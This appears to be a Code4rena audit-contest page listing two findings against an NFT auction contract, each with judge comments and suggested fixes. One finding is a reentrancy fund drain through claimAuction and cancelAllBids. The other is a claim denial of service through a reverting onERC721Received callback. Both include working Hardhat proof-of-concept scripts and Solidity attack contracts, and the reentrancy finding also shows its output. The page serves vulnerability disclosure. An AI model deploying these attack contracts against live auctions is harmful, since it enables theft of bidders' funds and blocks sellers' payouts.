Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 160/243
Findings: 2
Award: $0.94
π Selected for report: 0
π Solo Findings: 0
π Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
When the auction has ended, the winner or admin can call claimAuction
to send the token and the collected bids to all the users accordingly.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
However as there are no reentrancy guard, we can think of following scenario which will lead to fund drain.
participateToAuction
with bid amount of 5 etherclaimAuction
at block.timestamp
exactly same as auction end timecancelAllBids
. As require statement checks block.timestamp
is less than or equal to auction end time, check is passed. By calling cancelAllBids
attacker can receive double the amount of bid they participated.Even if the attacker fails to call claimAuction
at the exact timestamp as the auction end time, they can still retrieve most of their fund back by calling claimAuction
by themself.
// PoC.js const { loadFixture } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const helpers = require("@nomicfoundation/hardhat-network-helpers"); const { ethers } = require("hardhat") const fixturesDeployment = require("./fixturesDeployment.js") async function main() { const { signers, contracts } = await loadFixture(fixturesDeployment) let moreSigners = await ethers.getSigners() let addr4 = moreSigners[5] let attacker = moreSigners[6] const auctionDemo = await ethers.getContractFactory("auctionDemo"); const hhAuction = await auctionDemo.deploy(contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress()) await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhCore.addMinterContract( contracts.hhMinter, ) await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 200, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) const auctionEnd = (await ethers.provider.getBlock("latest")).timestamp + 10000 await contracts.hhMinter.mintAndAuction( signers.addr1.address, '{"tdh": "100"}', 1, 1, auctionEnd ) const tokenIdx = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1) - BigInt(1) await contracts.hhCore.connect(signers.addr1).approve(hhAuction.getAddress(), tokenIdx) // Setup attacker contract to front-run the addr2's participateToAuction console.log("Attacker balance before : %s", await ethers.provider.getBalance(attacker.getAddress())) const attack = await ethers.getContractFactory("AttackReentrancy") let hhAttack = [] let amount = 0 for (i=0; i<5; i++) { hhAttack.push(await attack.connect(attacker).deploy(hhAuction.getAddress(), tokenIdx)) amount = 3.99 + 0.001*i await hhAttack[i].connect(attacker).participateToAuction({value: ethers.parseEther(amount.toString())}) } // addr2 participates in auction await hhAuction.connect(signers.addr2).participateToAuction(tokenIdx, {value: ethers.parseEther("4")}) // addr3 also participates in auction await hhAuction.connect(signers.addr3).participateToAuction(tokenIdx, {value: ethers.parseEther("6")}) // attacker participates in auction with large enough bid amount to win await hhAuction.connect(attacker).participateToAuction(tokenIdx, {value: ethers.parseEther("8")}) // Increase to auction end time await ethers.provider.send('evm_setNextBlockTimestamp', [auctionEnd]); // attacker claims the auction await hhAuction.connect(attacker).claimAuction(tokenIdx) await ethers.provider.send('evm_mine'); for (i=0; i<5; i++) { await hhAttack[i].connect(attacker).getBalance() } console.log("Attacker address : %s", attacker.getAddress()) console.log("Attacker balance after : %s", await ethers.provider.getBalance(attacker.getAddress())) console.log("Owner of NFT token : %s", await contracts.hhCore.ownerOf(tokenIdx)) } main().catch((error) => { console.error(error); process.exitCode = 1; })
// AttackReentrancy.sol pragma solidity ^0.8.19; import "hardhat/console.sol"; interface IauctionDemo { function participateToAuction(uint256) external payable; function cancelAllBids(uint256) external; } contract AttackReentrancy { address owner; IauctionDemo auct; uint256 tokenId; bool flag; constructor(address auction, uint256 tokenId_) { owner = msg.sender; auct = IauctionDemo(auction); tokenId = tokenId_; } function participateToAuction() public payable { auct.participateToAuction{value: msg.value}(tokenId); } function getBalance() external { payable(owner).transfer(address(this).balance); } receive() external payable{ if (flag) { return; } flag = true; auct.cancelAllBids(tokenId); } }
As a result you can see output like following
xeros@xerosui-MacBook-Pro hardhat % npx hardhat run scripts/testAuctionDrain.js Attacker balance before : 10000000000000000000000n Attacker address : Promise { '0x976EA74026E726554dB657fA54763abd0C3a0aa9' } Attacker balance after : 10007963282785865922681n Owner of NFT token : 0x976EA74026E726554dB657fA54763abd0C3a0aa9
Change the inequality sign in either one of claimAuction
or cancelBid
/cancelAllBids
. Also add reentrancy guard to mitigate possible reentrancy attacks.
Reentrancy
#0 - c4-pre-sort
2023-11-16T01:14:08Z
141345 marked the issue as duplicate of #962
#1 - alex-ppg
2023-12-02T15:38:00Z
Temporary primary to aid in finding sorting as #962 belongs to a different group.
#2 - c4-judge
2023-12-02T15:38:28Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-04T21:33:12Z
alex-ppg marked the issue as primary issue
#4 - c4-judge
2023-12-04T21:43:05Z
alex-ppg marked the issue as duplicate of #1323
π Selected for report: The_Kakers
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0xJuda, 0x_6a70, 0xarno, 0xpiken, Arabadzhiev, Bauchibred, BugsFinder0x, BugzyVonBuggernaut, ChrisTina, DeFiHackLabs, Delvir0, HChang26, Haipls, Jiamin, Juntao, KupiaSec, Madalad, Neon2835, Nyx, Ocean_Sky, SpicyMeatball, Talfao, Taylor_Webb, Timenov, Tricko, ZdravkoHr, _eperezok, alexxander, amaechieth, bdmcbri, bronze_pickaxe, circlelooper, crunch, cu5t0mpeo, dimulski, fibonacci, funkornaut, immeas, ke1caM, lsaudit, nuthan2x, r0ck3tz, rotcivegaf, spark, tnquanghuy0512, twcctop, xeros
0.9407 USDC - $0.94
When the auction has ended and winner wants to claim their token, claimAuction
is called to transfer the token by calling safeTransferFrom
.
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
However ERC721 token has callback which can be called from receiver and this can be used maliciously to DoS the claim process. As result owner wonβt be able to receive their highestBid amount.
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); // safeTransferFrom reverts so owner won't be able to receive their ether emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} }
// PoC.js const { loadFixture } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const helpers = require("@nomicfoundation/hardhat-network-helpers"); const { ethers } = require("hardhat") const fixturesDeployment = require("./fixturesDeployment.js") async function main() { const { signers, contracts } = await loadFixture(fixturesDeployment) const auctionDemo = await ethers.getContractFactory("auctionDemo"); const hhAuction = await auctionDemo.deploy(contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress()) await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) await contracts.hhAdmin.registerCollectionAdmin( 1, signers.addr1.address, true, ) await contracts.hhCore.connect(signers.addr1).setCollectionData( 1, // _collectionID signers.addr1.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhCore.addMinterContract( contracts.hhMinter, ) await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 200, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) const auctionEnd = (await ethers.provider.getBlock("latest")).timestamp + 10000 await contracts.hhMinter.mintAndAuction( signers.addr1.address, '{"tdh": "100"}', 1, 1, auctionEnd ) const tokenIdx = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1) - BigInt(1) await contracts.hhCore.connect(signers.addr1).approve(hhAuction.getAddress(), tokenIdx) const attack = await ethers.getContractFactory("AttackCallback") const hhAttack = await attack.connect(signers.addr2).deploy(signers.addr2.getAddress(), hhAuction.getAddress(), tokenIdx) await hhAttack.connect(signers.addr2).participateToAuction({value: ethers.parseEther("1")}) // Increase to auction end time await helpers.time.increaseTo(auctionEnd) await hhAttack.connect(signers.addr2).claimAuction() } main().catch((error) => { console.error(error); process.exitCode = 1; });
// AttackCallback.sol pragma solidity ^0.8.19; interface IauctionDemo { function participateToAuction(uint256) external payable; function claimAuction(uint256) external; } contract AttackCallback { address owner; IauctionDemo auct; uint256 tokenId; constructor(address owner_, address auction, uint256 tokenId_) { owner = owner_; auct = IauctionDemo(auction); tokenId = tokenId_; } function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) pure external { revert("onERC721Received"); } function participateToAuction() payable external { auct.participateToAuction{value: msg.value}(tokenId); } function claimAuction() external { auct.claimAuction(tokenId); } receive() payable external {} }
Here signers.addr2
deploys contract that reverts when onERC721Received
is called. By running the PoC code, you can see the revert log as follows.
Error: VM Exception while processing transaction: reverted with reason string 'onERC721Received' at NextGenCore._checkOnERC721Received (smart-contracts/ERC721.sol:415) at NextGenCore._safeTransfer (smart-contracts/ERC721.sol:193) at NextGenCore.safeTransferFrom (smart-contracts/ERC721.sol:170) // omitted
Use try-catch statement to handle revert from the callback.
DoS
#0 - c4-pre-sort
2023-11-16T01:14:27Z
141345 marked the issue as duplicate of #843
#1 - c4-pre-sort
2023-11-16T13:38:04Z
141345 marked the issue as duplicate of #486
#2 - c4-judge
2023-12-01T22:15:25Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T22:15:39Z
alex-ppg marked the issue as duplicate of #1759
#4 - c4-judge
2023-12-08T22:08:36Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)